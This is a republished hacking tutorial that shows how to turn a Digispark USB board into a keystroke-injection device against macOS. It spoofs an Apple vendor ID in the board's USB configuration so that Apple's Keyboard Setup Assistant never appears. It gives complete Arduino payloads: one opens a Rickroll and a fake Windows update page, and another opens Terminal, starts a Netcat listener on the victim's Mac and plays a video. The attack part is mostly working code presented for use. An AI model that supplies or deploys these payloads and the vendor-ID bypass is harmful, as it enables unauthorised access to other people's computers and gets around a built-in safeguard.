Digispark Keyboard Apple
Digispark Keyboard Apple
Digispark Keyboard Apple
Techregister Logo
• HOME
• News
o Mobile news
• REVIEWS
• How-tos
• Gaming
• Business
o Commerce
o Enterprise
o Entrepreneur
o Marketing
• Autos
o Transportation
• Internet
o Media
o Social Media
• Dev
o Artificial Intelligence
o Big Data
o Cloud
• MORE
o ARVR
o Science
o Security
Techregister > How-tos > How to Hack MacOS with Digispark Ducky Script Payloads « Null
Byte :: WonderHowTo
How-tos
How to Hack MacOS with Digispark Ducky
Script Payloads « Null Byte :: WonderHowTo
November 29, 2019How-tos
posted on Nov. 29, 2019 at 9:11 pm
The USB Rubber Ducky and the Digispark board both suffer from the same issue when attacking
macOS computers: a keyboard profiler pop-up which tries to identify any non-Apple USB
keyboards. While it’s an annoying setback, the solution is a simple modification that allows Mac
computers to be targeted, which affects the ability to target Windows and Linux devices.
Apple’s profiler, called Keyboard Setup Assistant, is the window that opens whenever a non-
Apple keyboard connects to a MacBook, Mac Pro, iMac, etc., which attempts to identify the
newly attached keyboard. This secret security feature that all macOS devices have lurking in the
background will protect against malicious payloads from devices such as a $50 USB Rubber
Ducky or Digispark. But it’s easily bypassed by making the Mac think your attack device is an
Apple device.
On Amazon: 5 Digispark ATtiny85 Micro USB Development Boards for Arduino for
$10.99
If we insert either HID tool into the macOS computer, we’re greeted by our nemesis, the
keyboard profiler, before the payload has a chance to execute.
You can think of the Keyboard Setup Assistant like Clippy. It’s supposed to help but actually
makes things harder. Trying to navigate the tool is also awful because it doesn’t always profile
the keyboard correctly. For instance, it will sometimes make you re-press keys to profile the
keyboard, which doesn’t work with a device that can’t react to feedback. Instead, it’s better to go
around it than deal with it at all.
The problem here is that the vendor ID of “0xc0, 0x16” is not Apple. Therefore, Apple does not
trust it and springs the Keyboard Setup Assistant into action to try to identify the intruder. To fix
the problem, we can go into the configuration options for the Digispark library and change the
vendor ID to the value of an Apple device. It will still work with non-Apple devices just fine,
and the Keyboard Setup Assistant will never be called into action because macOS will assume
it’s recognized a fellow Apple product.
Connecting to the Digispark can be a little different depending on which operating system you’re
using. For more details and troubleshooting, you can check out the DigiSpark Wiki
documentation.
// This DigiSpark script opens up Rick Astley's - Never Gonna Give You Up and
also a
// fake Windows update screen and then maximizes it using F11
#include "DigiKeyboard.h"
void setup() {
//empty
}
void loop() {
DigiKeyboard.delay(2000);
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(600);
DigiKeyboard.print("https://youtu.be/dQw4w9WgXcQ?t=43s");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(5000);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(3000);
DigiKeyboard.print("http://fakeupdate.net/win10u/index.html");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(2000);
DigiKeyboard.sendKeyStroke(KEY_F11);
for(;;){ /*empty*/ }
}
To change this, we’ll need to modify it to use a Mac’s hotkeys — the Space bar and the
Command key — which is KEY_SPACE and MOD_GUI_LEFT, respectively. Let’s also change
up the payload so that Terminal opens, a Netcat backdoor activates, Spotlight Search then opens
again, and the Rickroll happens. Opening a Netcat backdoor on top of Rickrolling lets us send
them garbage over the network.
#include "DigiKeyboard.h"
void setup() {
//empty
}
void loop() {
DigiKeyboard.delay(2000);
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.sendKeyStroke(KEY_SPACE, MOD_GUI_LEFT);
DigiKeyboard.delay(600);
DigiKeyboard.print("terminal");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(5000);
DigiKeyboard.print("nc -l 9999");
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(600);
DigiKeyboard.sendKeyStroke(KEY_SPACE, MOD_GUI_LEFT);
DigiKeyboard.delay(600);
DigiKeyboard.print("https://youtu.be/dQw4w9WgXcQ?t=43s");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(5000);
for(;;){ /*empty*/ }
}
You could stop right here, as the video will play directly in Spotlight Search, but hitting Enter
will open it in a browser for a larger view. Elegant.
If you need the Digispark to hit different keys on the keyboard, use the following commands
below to open the “Digikeyboard.h” file, which lists all of the keys you can use, such as
KEY_ENTER, KEY_ARROW_LEFT, MOD_CONTROL_LEFT, etc.
On macOS:
~$ nano
~/Library/Arduino15/packages/digistump/hardware/avr/1.6.7/libraries/Digispark
Keyboard/Digikeyboard.h
On Linux:
~$ nano
~/.arduino15/packages/digistump/hardware/avr/1.6.7/libraries/DigisparkKeyboar
d/Digikeyboard.h
On macOS:
~$ nano
~/Library/Arduino15/packages/digistump/hardware/avr/1.6.7/libraries/Digispark
Keyboard/usbconfig.h
On Linux:
~$ nano
~/.arduino15/packages/digistump/hardware/avr/1.6.7/libraries/DigisparkKeyboar
d/usbconfig.h
Navigate down to the part of the file that defines the USB vendor ID, and look for the following
line.
Now change the values to match the example below, which is an ID for an Apple device, and
save the file.
#define USB_CFG_VENDOR_ID 0xac, 0x05
Once this is done, any code we push to the Digispark should tell it to identify itself as an Apple
device.
If you see output like below, you’ve done it! If not, try disconnecting and trying the upload
again. You may also need to adjust the Digispark in the USB socket a little to make contact,
depending on the type of port your computer uses.
To see the full effects of the payload, you can check out the video above. We piped a binary file
over the network, which caused a lot of noise and alarming text to scroll across the screen, but
you can do whatever you want.
I hope you enjoyed this guide to setting up the inexpensive Digispark to attack macOS devices!
If you have any questions about this tutorial on configuring the Digispark, leave a comment
below, and feel free to reach me on Twitter @KodyKinzie.
Don’t Miss: Modify the USB Rubber Ducky with Custom Firmware
Save BIG this holiday weekend with our favorite Black Friday deals on smartphones,
headphones, chargers, accessories, TVs, and more.
READ SOURCE
See also Become an In-Demand Web Developer with This $29 Training « Null Byte ::
WonderHowTo
Leave a Reply
Name
How-tos
How-tos
How-tos
Latest News
© TECHREGISTER UK 2021
Subscribe
You can turn off your notifications anytime from your browser
Powered by subscribers